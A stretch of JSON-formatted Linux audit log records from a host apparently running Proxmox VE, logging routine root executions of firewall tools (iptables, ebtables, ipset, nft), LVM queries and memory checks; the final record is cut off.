{"@timestamp":1781965125485,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965125.485:64264): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae4cb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61743 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965365637,"@rawstring":"node=pve type=EXECVE msg=audit(1781965365.637:65295): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966384394,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966384.394:69489): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965125471,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965125.471:64263): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f9160 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61742 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965365636,"@rawstring":"node=pve type=EXECVE msg=audit(1781965365.636:65294): argc=1 a0=\"date\""} {"@timestamp":1781966384362,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966384.362:69488): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965125460,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965125.460:64262): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1389d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61741 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965365631,"@rawstring":"node=pve type=EXECVE msg=audit(1781965365.631:65292): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966381415,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966381.415:69487): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965124754,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965124.754:64261): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d135dac0 a1=64f8d73e2200 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61740 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965365621,"@rawstring":"node=pve type=EXECVE msg=audit(1781965365.621:65291): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966381415,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966381.415:69486): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965124720,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965124.720:64260): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c6460 a1=64f8d73be670 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61739 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965365611,"@rawstring":"node=pve type=EXECVE msg=audit(1781965365.611:65290): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966381414,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966381.414:69485): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965121863,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965121.863:64259): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61736 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965365605,"@rawstring":"node=pve type=EXECVE msg=audit(1781965365.605:65289): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966381408,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966381.408:69484): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965121855,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965121.855:64256): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61735 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965365597,"@rawstring":"node=pve type=EXECVE msg=audit(1781965365.597:65288): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966381408,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966381.408:69483): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965120186,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965120.186:64253): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7254540 a1=637ee7254460 a2=637ee7240ef0 a3=8 items=2 ppid=61731 pid=61733 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965365583,"@rawstring":"node=pve type=EXECVE msg=audit(1781965365.583:65287): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966381408,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966381.408:69482): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965120186,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965120.186:64252): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7242ad0 a1=637ee7254330 a2=637ee7240ef0 a3=8 items=2 ppid=61731 pid=61732 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781965364531,"@rawstring":"node=pve type=EXECVE msg=audit(1781965364.531:65286): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966381362,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966381.362:69481): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965120184,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965120.184:64251): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7252ef0 a1=637ee7256900 a2=637ee72571e0 a3=8 items=2 ppid=846 pid=61730 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965364482,"@rawstring":"node=pve type=EXECVE msg=audit(1781965364.482:65285): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966381362,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966381.362:69480): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781965116842,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965116.842:64250): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61729 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965362745,"@rawstring":"node=pve type=EXECVE msg=audit(1781965362.745:65284): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966381360,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966381.360:69479): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781965116832,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965116.832:64247): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61728 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965362737,"@rawstring":"node=pve type=EXECVE msg=audit(1781965362.737:65281): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966376396,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966376.396:69478): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965115445,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965115.445:64244): arch=c000003e syscall=59 success=yes exit=0 a0=5a1485ff3e90 a1=5a1485ff0c10 a2=5a1485fd2680 a3=5 items=2 ppid=61721 pid=61727 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965360394,"@rawstring":"node=pve type=EXECVE msg=audit(1781965360.394:65278): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781966376396,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966376.396:69477): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965115441,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965115.441:64243): arch=c000003e syscall=59 success=yes exit=0 a0=5a1480d38ac8 a1=7fff48f04e80 a2=5a1485fd2680 a3=5a1480d1c24e items=2 ppid=61721 pid=61723 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965360392,"@rawstring":"node=pve type=EXECVE msg=audit(1781965360.392:65277): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781966376396,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966376.396:69476): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965115441,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965115.441:64242): arch=c000003e syscall=59 success=yes exit=0 a0=7fff48f04e40 a1=5a1485fd9310 a2=5a1485fd2680 a3=5 items=2 ppid=61721 pid=61722 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965360392,"@rawstring":"node=pve type=EXECVE msg=audit(1781965360.392:65276): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781966376380,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966376.380:69475): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965115436,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965115.436:64240): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61721 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965357729,"@rawstring":"node=pve type=EXECVE msg=audit(1781965357.729:65274): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966376380,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966376.380:69474): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965115429,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965115.429:64239): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61720 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965357720,"@rawstring":"node=pve type=EXECVE msg=audit(1781965357.720:65271): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966376380,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966376.380:69473): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965115421,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965115.421:64238): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61719 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965355572,"@rawstring":"node=pve type=EXECVE msg=audit(1781965355.572:65268): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966375358,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966375.358:69472): proctitle=\"ebtables-restore\""} {"@timestamp":1781965115413,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965115.413:64237): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61718 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965355567,"@rawstring":"node=pve type=EXECVE msg=audit(1781965355.567:65267): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966375354,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966375.354:69471): proctitle=\"ebtables-restore\""} {"@timestamp":1781965115403,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965115.403:64236): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61717 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965355566,"@rawstring":"node=pve type=EXECVE msg=audit(1781965355.566:65266): argc=1 a0=\"date\""} {"@timestamp":1781966375350,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966375.350:69470): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965115401,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965115.401:64235): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=612512cdd740 items=0 ppid=1156 pid=61716 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965355561,"@rawstring":"node=pve type=EXECVE msg=audit(1781965355.561:65264): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966375347,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966375.347:69469): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965115398,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965115.398:64234): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0f90d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61716 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965355539,"@rawstring":"node=pve type=EXECVE msg=audit(1781965355.539:65263): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966375346,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966375.346:69468): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965115391,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965115.391:64233): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13d7c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61715 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965355520,"@rawstring":"node=pve type=EXECVE msg=audit(1781965355.520:65262): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966375346,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966375.346:69467): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965115385,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965115.385:64232): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc14a8a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61714 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965355515,"@rawstring":"node=pve type=EXECVE msg=audit(1781965355.515:65261): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966375342,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966375.342:69466): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965115379,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965115.379:64231): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc149f60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61713 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965355507,"@rawstring":"node=pve type=EXECVE msg=audit(1781965355.507:65260): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966375335,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966375.335:69465): proctitle=69707365740073617665"} {"@timestamp":1781965115374,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965115.374:64230): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc14a8a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61712 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965355500,"@rawstring":"node=pve type=EXECVE msg=audit(1781965355.500:65258): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966375330,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966375.330:69464): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965115368,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965115.368:64229): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0cb1c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61711 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965355495,"@rawstring":"node=pve type=EXECVE msg=audit(1781965355.495:65257): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966375325,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966375.325:69463): proctitle=\"ip6tables-save\""} {"@timestamp":1781965115360,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965115.360:64228): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61710 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965355487,"@rawstring":"node=pve type=EXECVE msg=audit(1781965355.487:65256): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966375319,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966375.319:69462): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965115353,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965115.353:64227): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61709 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965355482,"@rawstring":"node=pve type=EXECVE msg=audit(1781965355.482:65255): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966375313,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966375.313:69461): proctitle=\"iptables-save\""} {"@timestamp":1781965115346,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965115.346:64226): arch=c000003e syscall=59 success=yes exit=0 a0=5c2ef114cd30 a1=5c2ef1158b30 a2=5c2ef1126680 a3=5 items=2 ppid=61702 pid=61708 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965355477,"@rawstring":"node=pve type=EXECVE msg=audit(1781965355.477:65254): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966375307,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966375.307:69460): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965115337,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965115.337:64225): arch=c000003e syscall=59 success=yes exit=0 a0=5c2eea618ac8 a1=7ffe7d8dc690 a2=5c2ef1126680 a3=5c2eea5fc24e items=2 ppid=61702 pid=61704 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965355472,"@rawstring":"node=pve type=EXECVE msg=audit(1781965355.472:65253): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966375302,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966375.302:69459): proctitle=\"ip6tables-save\""} {"@timestamp":1781965115335,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965115.335:64224): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe7d8dc650 a1=5c2ef11483d0 a2=5c2ef1126680 a3=5 items=2 ppid=61702 pid=61703 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965355464,"@rawstring":"node=pve type=EXECVE msg=audit(1781965355.464:65252): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966375296,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966375.296:69458): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965115331,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965115.331:64222): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61702 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965355456,"@rawstring":"node=pve type=EXECVE msg=audit(1781965355.456:65251): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966375290,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966375.290:69457): proctitle=\"iptables-save\""} {"@timestamp":1781965115325,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965115.325:64221): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61701 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965355453,"@rawstring":"node=pve type=EXECVE msg=audit(1781965355.453:65250): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966374272,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966374.272:69456): 